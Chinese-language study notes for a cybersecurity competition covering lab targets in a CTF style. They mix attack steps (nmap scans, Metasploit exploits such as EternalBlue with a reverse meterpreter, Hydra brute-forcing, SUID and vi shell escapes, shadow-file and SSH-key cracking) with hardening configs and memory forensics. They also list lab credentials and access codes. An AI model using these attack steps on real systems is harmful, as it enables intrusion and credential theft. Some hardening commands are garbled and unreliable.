https://new.mhxaskills.cn    YNWAZ10A/377fSSch   YNWAZ10B/b2nVHFJW

 

基础课程:Window服务器配置 、Linux服务器配置、网络安全、网站建设

 

WINDOWS常用命令

cd ..     cd c:\       cd C:\phpstudy\phptutorial\www\3       D:

显示文件:  dir    

搜索文件:    dir /s flag.txt        dir /s *.php      robots.txt

查看文件内容:  type index.html  

 

Kali Linux常用命令  

打开终端:Ctrl+Alt+T   关闭终端:Ctrl+D

重启系统:reboot   关闭系统:poweroff 

取消:Ctrl+C      清屏:Ctrl+L 

补全代码       重复命令记录 

模糊命令:Tab键

# 管理员账号(红色)  $ 普通账号(蓝色)

普通用户进入到root终端:Sudo su 

临时提权执行命令:Sudo +命令    

~ 账号家目录     / 系统根目录

cd /    切换到根目录
cd /usr  切换到根目录下的usr目录
cd ..    切换到上一级目录 或者  cd ../
cd ~    切换到用户家目录,(桌面在用户家目录下)
cd -    返回跳转到上访问的目录

 

查看主机名称: hostname        显示主机系统信息:uname –a

系统内核版本:  uname  –r      显示系统版本号: cat /proc/version

查看centos具体版本:cat /etc/centos-release

查看当前登陆用户:whoami (或者id 或者 sudo -l

查看当前位置:pwd     显示内容:ls     显示所有txt类型文件ls *.txt  

输出特权用户:awk -F: $3==0 {print $1} /etc/passwd 

查看所有用户:cat /etc/passwd  

删除用户:userdel hacker    修改用户密码: passwd root

 

看小文件或最后一页:cat      翻页查看:less

解压文件:  unzip flow.zip 

复制文件: cp  sukong.txt /var/www

移动文件: mv  sukong.txt /var/www/html

当前目录往下搜索文件: find . -name flag* 

指定目录搜索 find /root -name flag*

删除目录或文件: rm -rf name

vi   /etc/hosts        修改本地的hosts文件

查看命令历史记录:history

查看终端是bash还是zsh:echo $0

 Bash下清除命令历史记录:history -c

zsh下清除命令历史记录:rm $HISTFILE                

 

 

FTP登录    回车后输密码    quit或者bye退出

ftp 172.16.101.23        (命令登录)匿名登录anonymous

ftp://172.16.101.23      (浏览器登录)

登录后下载文件:get 123.jpg

登录后上传文件:put 123.zip

 

 

SSH远程登录:    回车后输密码      Exit退出

1、ssh 172.16.101.106                     (root远程登录)

2、ssh root@172.16.101.106                (指定用户登录)

3、ssh root@172.16.101.106 -p 2283        (指定用户和端口登录)

 

Nmap   -hh

nmap 172.16.101.0/24 -sS    TCP SYN 半开连接扫描,速度快较为隐蔽

-sT     TCP connect全开连接扫描

  -O     操作系统识别linux系统显示在OS details:后

Nmap 192.168.187.130 -sV  -sS  -T5 常用端口和系统服务版本(含操作系统)扫描

nmap --script=vuln 172.16.10.100-199   集群漏洞查找扫描

nmap 172.16.10.101-150 -p80          集群端口扫描

 -p-   扫描所有端口可发现后门  1-65535(默认只扫常见1000   

Nmap 172.16.101.23 –A  -v  快速探测全部信息A全面,v显示细节

-sP 或 -sn     Ping主机扫描,不进行端口扫描   

-P0 或 -Pn    Ping扫描,可以躲避防火墙防护

-p     -n     进行/不进行dns 解析(快)

    -sY             探测防火墙状态   

-p 445             扫描指定端口

-p 80,445,3389   扫描多个端口(参数后有空格)

 -sW             滑动窗口扫描

 -sR              RPC扫描(结果同sV

 -sU             UDP扫描

 

            其他扫描工具

arp-scan -l                        利用arp缓存表快速主机发现

fping -g 172.16.1.0/24              扫描网段存活主机        

arping -c 4 172.16.1.2              有防火墙情况下主机扫描 (4个包)

genlist -s 172.16.1.\*              扫描网段存活主机

   

Metasploit漏洞利用 help   Exit 

msfconsole                     进入Metasploit

search  MS08-067              搜索相关模块程序

use exploit/windows/smb/ms08_067_netapi 或者use 24      使用模块

set payload windows/x64/meterpreter/reverse_tcp     设置反向链接

show options                  显示需要设置的参数

Show targets               列出渗透攻击支持的目标平台即版本号

set rhosts 192.168.110.8        设置目标IP

set lhost 192.168.110.128        设置反向链接本机IP

Set Lport 4444                设置本地监听端口

exploit或者  Run                 发动攻击、检测,仅检测可输check

getsystem   权限提升到系统权限   getuid    确认权限为系统权限

Shell                         拥有目标的shell

download  123.jpg             下载

run vnc                        桌面监视   

back                         返回退出模块

 

 

Metasploit破解密码 help   Exit

 

搜索模块search ftp_login ,ssh_login ,telnet_login ,rdp_login ,mssql_login ,mysql_login

set rhosts 192.168.110.8        设置目标IP

set username root  设置用户名(set user_file 3.txt)

set password 123   设置密码  (set pass_file pwd.txt

set threads  50    设置线程数为50

run

rdesktop 172.16.1.61   远程登录桌面

 

 

Hydra密码爆破

字典生成工具:Crunch和CeWL 等。

Kali linux自带的密码字典存在usr/share/wordlists目录下,常用的有nmap.list \rockyou.txt.gz(解压:gunzip rockyou.txt.gz)和metasploitd。可以先进入此目录再使用Hydra省输入字典路径。(-l接用户,-p接密码。字典用大写)

hydra  -L usr.txt -P pwd.txt  rdp://192.168.31.173

hydra 192.168.31.173 -l Administrator -P pwd.txt rdp:远程桌面(win)

hydra 192.168.31.173 -l root -P pwd.txt ssh:远程登录(linux)

smbSMB服务

ftp:文件传输

mysql:MysQL数据库

Mssql:sql server

(以下不考)

破解get方式web登录:

hydra -l 用户名 -p 密码字典文件 -t 线程数 -vV -e -ns 目标ip http-get /web/

 

破解post方式web登录:

hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"

破解https:

hydra -m /index.php -l 用户名 -P 字典 ip https

 

Wireshark

 

Capture --> Capture Filters。用于在抓取数据包前设置  

Capture -> Option,选网卡(input中点左侧小三角可查看网卡对应的IP)

 

局域网的所有流量都会发送给我们的电脑,默认情况下,我们的电脑只会对自己mac的流量进行解包,而丢弃其他mac的数据包。开启混杂模式后,我们就可以解析其他mac的数据包,因此,我们使用Wireshark时,通常都会开启混杂模式。

 

3个窗口(包、层、数据),每行就是一个数据包。

层信息:

1)Frame: 物理层的数据帧概况

2)Ethernet II: 数据链路层以太网帧头部信息

3)Internet Protocol Version 4: 互联网层IP包头部信息

4)Transmission Control Protocol: 传输层T的数据段头部信息,此处是TCP

5)Hypertext Transfer Protocol: 应用层的信息,此处是HTTP协议

  1. 显示过滤器(用于分析包)

IP地址:ip.addr、ip.src、ip.dst

端口:tcp.port、tcp.srcport、tcp.dstport

协议:tcp、udp、httpicmp

比较运算符:> < == >= <= !=

逻辑运算符:and、or、not、xor(有且仅有一个条件被满足)

 

ip.addr == 192.168.32.121:显示IP地址为 192.168.32.121 的数据包

tcp.port == 80 :显示端口为 80 的数据包 

Tcp.connection.syn            查看被扫描的端口

Tcp.connection.synack         查看被扫描并开放的端口

http contains POST  查找登录请求(账号,密码一般在第一个包里,页面有login等标志,也有“GET”方式包)

http contains OK   常表示上传或下载成功

ftp contains 220    220为服务器应答码,表示服务就绪,可查服务器版本号

ftp contains 230     230表示用户登录成功,或者success“OK”

登录成功后物理层数据帧“Arrival Time”(到达时间)显示黑客登录时间

 

2. 抓包过滤器(capture中设置)

类型:主机(host)、网段(net)、端口(port)

方向:源地址(src)、目标地址(dst)

协议:各种网络协议,比如:tcp、udp、http

逻辑运算符:与( && )、或( || )、非( !)

自由组合例:

src host 192.168.31.1:过滤源IP为 192.168.31.1 的数据包

一个完整的数据流由多个数据包组成,追踪数据流可看,注意含login,ok,quary等的数据包

 

 

 

Windows部分

端口

服务

windows漏洞

1、漏洞发现

2、漏洞加固

 

 

后门用户

net user

net user hacker /del

21

FTP

1、管理员用户弱口令1

Hydra

net user administrator Admin@123456

2、匿名登录漏洞

ftp 172.16.101.106

anonymous

关闭IIS管理器“匿名身份验证”

23

Telnet

远程登录漏洞

Telnet 172.16.102.248

服务中停止telnet服务(自动、停止)

80

http

MS15-034远程代码执行漏洞

auxiliary/scanner/http/ms15_034_http_sys_memory_dump(蓝屏)

IIS中取消“启用内核缓存”

139

 

IPC$漏洞

通过WINDOWS链接:Net use \\172.16.104.61\IPC$ 密码 /user:administrator

 

Net user

关闭server服务

445

SMB

Ms17-010永恒之蓝

exploit/windows/smb/ms17_010_eternalblue

net stop server

或停止Server服务

3389

远程桌面

 

1、弱口令漏洞2

hydra

net user administrator Admin@123456

 

2、MS12-020远程桌面漏洞

 

Auxiliary/dos/windows/rdp/ms12_020_maxchannelids

或者

Auxiliary/scanner/rdp/ms12_02_check (蓝屏)

禁用远程桌面(属性-远程-不允许连接到这台计算机)或者(仅允许运行使用网络。。。。。。。)

3、CVE_2019_0708

Auxiliary/scanner/rdp/cve_2019_0708_bluekeep

禁用远程桌面(属性-远程-不允许连接到这台计算机)

大端口

 

后门漏洞

nmap -p- -sS

nc 10.101.101.250 60007

whoami

删除后门程序?

 

   其他漏洞:MS08-067

 

 

 

Linux部分

端口

服务

linux漏洞

1、漏洞发现

2、漏洞加固

 

 

后门用户

cat /etc/passwd

userdel zqf(id大于1000,位置为bin/bash的用户)

21

FTP

1、弱口令1

hydra

加强root管理员复杂密码。

2、匿名用户漏洞

ftp 172.16.101.106

vi /etc/vsftpd/vsftpd.conf 禁止匿名登录

3、vsFTPd2.3.4 笑脸漏洞

exploit/ftp/vsftpd_234_backdoor

或者

Nc 可连接 (为什么是6200端口?)

加固通过iptables建立规则使外部无法连接后门端口

22

SSH

1root弱口令2

hydra

passwd root 回车

Admin@123456

改为强密码

2root任意地点登录

ssh root@172.16.101.106

vi /etc/ssh/sshd_config禁止root用户远程登录,去#,重启服务。

111

 

rpcbind

Auxiliary/dos/rpc/rpcbomb

Iptables

445

SMB

CVE-2017-7494

exploit /linux/samba/is_known_pipename

修改etc/samba/smb.conf配置文件,在[global]中添加(nt pipe support=no)来缓存漏洞带来的影响。

1433

Sql server

 

hydra

 

3306

mysql

root弱口令3

hydra

进入数据库把root用户改为强密码

Root任意地点登录

mysql -h 10.101.101.250 -uroot -p

进入数据库,drop user root@%

禁止root任意地点登录

高位端口

 

后面漏洞

nmap -p- -sS

nc 172.16.104.86  48119

whoami

Kill -9 1735  结束进程

rm -rf /root/cpufan

删除后门程序

 

 

 

 

 网站Flag

1、先看网页及源码      2、找网站中的敏感文件(robots.txt   flag,txt  )

2、探测网站相关信息    4、匿名登录或爆破寻找   

5、查看网页源码中图片名称或其他文件,渗透后搜索可以定位网站的根目录          

dirb http://172.16.10.150:80          探测网站目录(+是文件,箭头是目录)

netdiscover -r 192.168.253.自己IP或0/24   主机发现(可显示名称)

nmap 192.168.10.40 -p- -sS -T5            可查网站系统CMS版本(漏洞可利用)

Nikto -h http://172.16.10.150         挖掘config 等敏感信息

Whatweb 192.168.253.10                  网站指纹分析

nc 192.168.253.10 13337                探测banner(会有flag)

Wget http://192.168.43.192/flag.zip       下载网站目录中的文件

 

ls -al    或者   ll                     显示所有文件及权限

Chmod  777  flag.txt                    设置文件最大权限

Chmod  -R 777  /flag                    设置文件夹(含文件)最大权限

find / -perm -u=s -type f 2>/dev/null   查找系统具备suid权限的命令(以文件拥有者身份运行该文件)

Sudo -l                                 

compgen -c                              查看登录的用户可以使用的命令

find . -exec /bin/sh -p \\; -quit        find提权

   

 

:set shell=/bin/bash     (回车)             

:shell                               

export PATH=$PATH:/bin/                            vi 提权

 

Cat  或   more  或  less  或   vi         查看文件

 

wpscan --url dc-2 -e u                 (wordpress专用扫描器)对网站进行扫描

Cewl http://dc-2/ -w password.txt          从指定网站提取关键字生成字典

wpscan -U username.txt -P password.txt --url http://dc-2/  破网站密码

 

cat /etc/shadow > 1.txt

john --format=crypt 1.txt          回到kali中查看密码

 

 

 

 

SSH探测

Openlink —— .ssh                 .shh中存放shh秘钥

192.168.2653.10:31337/.ssh/Id_rsa             访问下载私钥  

192.168.2653.10:31337/.ssh/authorzed_keys     访问下载秘钥

ssh -i id_rsa simon@192.168.253.10       用私钥登录,用户到秘钥中找

ssh2john id_rsa > rsacrack      ssh2john工具将秘钥转换成john可以识别的信息

zcat rockyou.txt.gz|john --pipe --rules rsacrack      破解秘钥密码

                                      

 

 

FTP探测

 

匿名登录  anonymous

 

 

 

 

MYSQL数据库

配置环境变量后,可在CMD中运行

1、检查MySQL服务是否启动:systemctl status mysqld

启动数据库:net start mysql

1、登录数据库服务器mysql -uroot -p 然后输密码(root登录可直接输mysql)

   查看数据库版本:

3、设置密码set password for root@localhost=password('666');   

4、查看数据库:show databases;

5、创建数据库:create database test;

删除数据库;drop database test;

6、使用数据库:use mysql;

7、显示数据表Show tables;

8、进入用户表信息select user,host from mysql.user;

9、进入用户表后更新密码update user set authentication_string=password('888') where user='root';

10、允许root用户远程连接GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '888' WITH GRANT OPTION;     

11、新建用户:create user ‘user1’ @’localhost’identified by ‘123456’

12、删除Mysql用户:drop user '用户名'@'localhost';

 

13、执行一次二次命令(相当于更新一下):flush privileges;  

 

 

 

14、修改数据库端口:cat /etc/my.cnf

 

 

15、退出数据库:exit 或 quit 

 

 

 

 

 

 

 

  a、改变默认管理员用户为:SuperRoot

update mysql.user set user=SuperRoot where user=root

b、md5加密函数加密用户user1的密码为:P@ssw0rd1!)

update mysql.user set password=md5("p@ssw0rd1!") where user="andrew";

c、赋予user1用户对数据库所有表只有select、insert、delete、update权限

grant select,insert,delete,update on testdb.* to shiny@'%';

 

d、撤销已经赋予给user1的权限

  revoke all on testdb.* from userl@'%';

e、对忘记mysql数据库SuperRoot管理员密码进行重置操作;

 

                  

 

 

 

 

 

 

 

 

Linux系统加固

1、一分钟内仅允许4次登录失败,超过4次,登录帐号锁定1分钟

vim /etc/pam.d/login                 

加:

 

 

2、最小密码长度不少于5个字符,密码最使用期限为30天

  vim /etc/login.defs                 

#

PASS_MAX_DAYS 30

PASS_MIN_DAYS 0

PASS_MIN_LEN 5

PASS_WARN_AGE 7

 

 

3、设置user1只能在上班时间(周一至周五的9:00-18:00)登录(windows)

设置:net user user1 123456 /time:M-F,9:00-18:00

查看:net user user1

4限制用户su(切换用户),例如:只允许test组用户su到root

vim /etc/pam.d/su                

添加 auth required pam_wheel.so group=test

 

5禁止用户不能重复使用最近5次(含5)内已使用的密码。

vim /etc/pam.d/system-auth             

 

password sufficient pam_unix.so use_authtok md5 shadow 后加 remember=5

6、密码策略必须同时满足大小写字母、数字、特殊字符,将/etc/pam.d/system-auth配置文件中对应的部分截图:

pam_cracklib.so后加:

 

 

 

7、设置用户登录超时时间(闲置时间)比如设置超时时间为30分钟。

vim /etc/profile                 

在文件末尾加上(单位是秒)export timeout=1800

 

8chattr命令防止系统中的关键文件被修改,提高系统安全性。添加:chattr +i /etc/passwd

(锁定passwdshadow、 group 、gshadow 这四个文档的属性,撤销锁定命令:chattr -i /etc/passwd

 

 

 

SSH 远程登录

1、开启SSH服务 systemctl  start  sshd

2、重启 sshd 服务(配置完成需要重启生效)

systemctl restart  sshd

 

Vim /etc/ssh/sshd_config             

3、修改ssh服务端口为 2222使用命令netstat -anltp | grep sshd查看SSH服务端口信息,

4、指定SSH协议版本(禁用sshv1,使用sshv2),增加:Protocol 2

5、ssh禁止ROOT用户远程登录PermitRootLogin no)

        或添加  DenyUser root

6、为了防止密码在登录或者传输信息中被窃取,仅使用证书登录SSH,将/etc/ssh/sshd_config配置文件中对应的部分截图:

PasswordAuthentication no

7、只允许honor这个用户使用SSH远程登录,其他用户不能。添加:

AllowUsers honor

8、最多允许密码错误次数(默认6次,调为3次)

MaxAuthTries 3

9、启用严格(强制安全性)模式

StrictMode yes

10、基于公钥的身份验证,启用公钥身份验证

PubkeyAuthentication yes

11、禁用X11转发

X11Forwarding no

12、配置SSH登录超时限制

ClientAliveInterval 120,ClientAliveCountMax 5

13、配置SSH登录标语(Banner信息)Banner NONE

 

14、配置SSH远程登录失败策略,SSH登录密码错误3次,锁定账户3分钟。

vim /etc/pam.d/sshd                   

#%PAM-1.0下添加一行

auth required pam_tally2.so deny=3 unlock_time=180 even_deny_root root_unlock_time300

15、设置root⽤户的计划任务。每天早上7:50⾃动开启ssh服务,22:50关闭;每周六的7:30重新启动ssh服务

crontab –e,按i键进入编辑模式,输入以下内容,保存退出,使用命令crontab -l可查看创建的计划任务。

16、配置SSHD的PID档案存放地

Vim PidFile /var/run/sshd.pid           

 

 

 

 

 

 

VSFTPD 服务

Vim /etc/vsftpd/vsftpd.conf               

1、设置超时时间为2分钟,无任何操作的超时时间为5分钟,

# You may change the default value for timing out an idle session.

#idle_session_timeout=300

#

# You may change the default value for timing out a data connection.

#data_connection_timeout=120

 

2、设置运行 vsftpd 的非特权系统用户为 pyftp

添加:nopriv_user=pyftp

3、限制客户端连接的端口范围在 50000-60000

添加:pasv_min_port=50000,pasv_max_port=60000

4、限制本地用户登录活动范围限制在 home 目录

添加:chroot_local_user=YES

5、禁止匿名用户登录

添加:anonymous_enable=NO  (前面不能有#)

 

6、禁止匿名用户上传

添加:anon_upload_enable=NO

7、禁止匿名用户创建目录的权限

添加:anon_mkdir_write_enable=NO

8、禁止匿名用户删除和重命名的权限

添加:anon_other_write_enable=NO

9、匿名用户访问的最大传输速率为512KB/S。(512*1024)

添加:anon_max_rate=524288

10、设置本地用户访问的最大传输速率为1M(1*1024*1024)

添加:local_max_rate=1048576

11、允许匿名登录 anonymous_enable=YES

12、允许本地用户登录 local_enable=YES

13、开放本地用户的写权限 write_enable=YES

14、设置本地用户的文件生成掩码为022 :local_umask=022

15、激活上传和下载日志 xferlog_enable=YES

16、启用FTP数据端口的连接请求 :connect_from_port_20=YES

17、使用标准的ftpd xferlog日志格式 :xferlog_std_format=YES

18、关闭ascii模式下载,防止被用于DoS攻击。    

#ascii_download_enable=no

    httpd

 

配置文件  /etc/httpd/conf/httpd.conf

 

重启服务   systemctl restart httpd

 

错误日志    /var/log/httpd/error_log

 

 

 

防火墙

旧版本Linux操作系统防火墙命令用iptables(只能用命令),RHEL 7/8 中新增的firewalld命令。iptables中常用的参数以及作用:

-P设置默认策略,-F清空规则链,-L查看规则链

-A在规则链的末尾加入新规则

-I num在规则链的头部加入新规则

-D num删除某一条规则

-s匹配来源地址 IP/MASK,加叹号“!”表示除这个 IP 外

-d匹配目标地址

-i 网卡名称匹配从这块网卡流入的数据

-o 网卡名称匹配从这块网卡流出的数据

-p匹配协议,如 TCP、UDP、ICMP

- -dport num匹配目标端口号

- -sport num匹配来源端口号

 

Systemctl status firewalld  查看防火墙状态

Systemctl start firewalld    开启防火墙

 

 

1、Linux系统使用iptables禁用23端口

iptables -A INPUT -p tcp --dport 23 -j DROP

iptables -A INPUT -p udp --dport 23 -j DROP

 

2、为防止Nmap扫描软件探测到关键信息,设置iptables防火墙策略对80、3306号端口进行流量处理;

iptables -A INPUT -s 172.16.1.1 -p 80 -j DROP

iptables -A INPUT -s 172.16.1.1 -p 3306 -j DROP

 

3、为确保安全,设置iptables防火墙策略仅允许172.16.10.0/24网段内的主机通过SSH连接本机

iptables –A INPUT –p tcp –dport 22 –s 172.16.10.0/24 –j ACCEPT

iptables –A INPUT –p tcp –dport 22 -j DROP

 

4、为防御IP碎片攻击,设置iptables防火墙策略限制IP碎片的数量,仅允许每秒处理1000个数据包

 

ptables -A FORWARD -f -m limit --limit 1000/s --limit-burst 1000 -j ACCEPT

 

5、设置防火墙允许本机转发除ICMP协议以外的所有数据包

iptables -A FORWARD -p ! icmp -j ACCEPT

 

6、为防御拒绝服务攻击,设置iptables防火墙策略对传入的流量进行过滤,限制每分钟允许3个包传入,并将瞬间流量设定为一次最多处理6个数据包(超过上限的网络数据包将丢弃不予处理)

iptables -A INPUT -m limit --limit 3/minute --limit-burst 6 -j ACCEPT

 

 

7、只允许转发来自172.16.0.0/24局域网段的DNS解析请求数据包。

iptables -A FORWARD -s 172.16.0.0/24 -p udp --dport 53 -j ACCEPT

iptables -A FORWARD -d 172.16.0.0/24 -p udp --sport 53 -j ACCEPT

 

8、禁止转发来自MAC地址为29:0E:29:27:65:EF主机的数据包

iptables -A FORWARD -m mac --mac-source 29:0E:29:27:65:EF -j DROP

 

9、禁止任何机器ping本机

iptables -A INPUT -p icmp --icmp-type 8 -j DROP

 

10、禁止本机ping任何机器,直接丢弃流出icpm数据包

iptables -A OUTPUT -p icmp --icmp-type echo-request -j DROP

 

11、在工作时间,即周一到周五的8:30-18:00,开放本机的ftp给192.168.1.0/24网络中的主机访问

iptables -A INPUT -p tcp --dport 21 -s 192.168.1.0/24 -m time --weekdays 1,2,3,4,5 --timestart 08:30 --timestop 18:00 -j ACCEPT

 

12、设置防火墙允许本机对外开放TCP端口21以及被动模式FTP端口1250-1280

iptables -A INPUT -p tcp -m multiport --dport 21,1250:1280 -j ACCEPT

 

13、禁止转发源IP地址为192.168.1.20-192.168.1.99的TCP数据包

iptables -A FORWARD -p tcp -m iprange --src-range 192.168.1.20-192.168.1.99 -j DROP

 

14、拒绝TCP标志位全部为1及全部为0的报文访问本机

iptables -A INPUT -p tcp --tcp-flags ALL ALL -j DROP

iptables -A OUTPUT -p tcp --tcp-flags ALL NONE -j DROP

 

15、配置iptables防火墙过滤规则,以封堵目标网段(172.16.1.0/24),并在两小时后解除封锁

iptables -I INPUT -s 172.16.1.0/24 -j DROP

iptables -I FORWARD -s 172.16.1.0/24 -j DROP

at now +2 hours

at> iptables -D INPUT 1

at> iptables -D FORWARD 1

 

16、在工作时间,即周一到周五的8:30-18:00,开放本机的ftp服务给 192.168.1.0网络中的主机访问要求从ftp服务的数据下载请求次数每分钟不得超过 5 个

iptables -A INPUT -s 172.16.0.0/16 -d 192.168.1.111 -p tcp --dport 21 -m time --timestart 8:30 --timestop 18:00 --weekdays 1,2,3,4,5 -m connlimit --connlimit-upto 5 -j ACCEPT

 

17、拒绝访问防火墙的新数据包,但允许响应连接或与已有连接相关的数据包

iptables -A INPUT -p tcp -m state --state NEW -j DROP

iptables -A INPUT -p tcp -m state --state ESTABLSHED,RELATED -j ACCEPT

 

 

18、为防止SSH服务被暴力枚举,设置iptables防火墙策略仅允许172.16.10.0/24网段内的主机通过SSH连接本机,将iptables配置命令截图:

 

 

 

 

 

 

 

 

 

B-2内存取证

工具:volatility

1、从内存文件中获取到用户hacker 的密码并且破解密码,将破解后的密码作为 Flag值提交;

先获取内存文件的profile,使用imageinfo 插件即可

volatility -f xxx.vmem imageinfo

使用 "SAM\Domains\Account\Users\Names"查看用户(这一步可有可无)

volatility -f xxx.vmem --profile=OS printkey -K "SAM\Domains\Account\Users\Names"

破密码

volatility -f  xxx.vmem --profile=OS hashdump(hashcat或者john 去破解)

volatility -f  xxx.vmem --profile=OS mimikatz

volatility -f  xxx.vmem --profile=OS lsadump

 

2、获取当前系统的主机名,将主机名作为Flag值提交;

volatility -f xxx.vmem --profile=OS printkey -K "ControlSet001\Control\ComputerName\ComputerName"

volatility -f xxx.vmem --profile=OS envars(查看环境变量)

 

3、获取当前系统浏览器搜索过的关键词,作为Flag提交;

volatility -f xxx.vmem --profile=OS iehistory

 

4、获取当前内存文件的 ip地址

volatility -f xxx.vmem --profile=OS netscan

volatility -f xxx.vmem --profile=OS connscan

volatility -f xxx.vmem --profile=OS connections

 

5、当前系统中存在的挖矿进程,请获取指向的矿池地址,将矿池的IP地址作为. Flag值提交(局域网ip);.

volatility -f xxx.vmem --profile=OS netscan(找唯一一个已建立的 ESTABLISHED)

 

6、恶意进程在系统中注册了服务,请将服务名以 Flag{服务名}形式提交。

volatility -f xxx.vmem --profile=OS pslist -p [子进程号]

(子进程好上一题可知)

得到父进程

然后在通过通过svcscan可以查询服务名称,根据父进程找到对应服务名

volatility -f xxx.vmem --profile=OS svcscan

 

7、请将内存文件中的剪贴板内容作为flag 值提交;

volatility -f xxx.vmem --profile=OS clipboard

 

8、从内存文件中获取记事本的内容,并将该内容作为flag值提交;

volatility -f xxx.vmem --profile=OS editbox

volatility -f xxx.vmem --profile=OS notepad

 

9、从内存文件中获取截图的内容,并将该内容作为flag值提交;

volatility -f xxx.vmem --profile=0S screenshot --dump-dir=./

 

10、从内存文件中获取黑客进入系统后下载的图片,将图片中的内容作为 Flag值提交。

volatility -f xxx.vmem --profile=OS filescan | grep -E "png|jpg|gif|bmp|zip|rar|7z|pdf|txt|doc"

 

11、查看被删除的文件里的内容

volatility -f xxx.vmem --profile=OS mftparser

 

12、最后一次更新时间,运行过的次数为 Flag值提交。

volatility -f xxx.vmem --profile=OS userassist

 

13、将最后一次cmd的命令当作flag

volatility -f xxx.vmem --profile=OS cmdscan

 

 

 

 

用左边的粘贴板可以将内容再复制出来

 

截图软件

1、运行Snipaste 软件,右下角可以查看。(默认已运行)

2、F1 截图,截图完成后,截图区域右下角点击“复制到粘贴板”

3、Ctrl + V 将图片粘贴到word里。

 

https://new.mhxaskills.cn    YNWAZ10A/377fSSch   YNWAZ10B/b2nVHFJW

kali:kali/kali  win11:admin/123456    system0002:root/123456

160Pysystem0043  访问靶机samba服务下载任务文件?

 

1、选手需要在7:30开始抽签,8:30完成二次加密入场后检

2、展示讲解阶段则每过十分钟进行一次。

3、A、B模块2个小时:预测单选40,多选10题。Apache配置加固,wireshark数据包分析,  web网页渗透,主机信息渗透,内存取证。B文档提交对题的PDF格式说明。

 

   C、D模块1个小时:30个靶机夺旗flag      系统服务器加固提交KEY值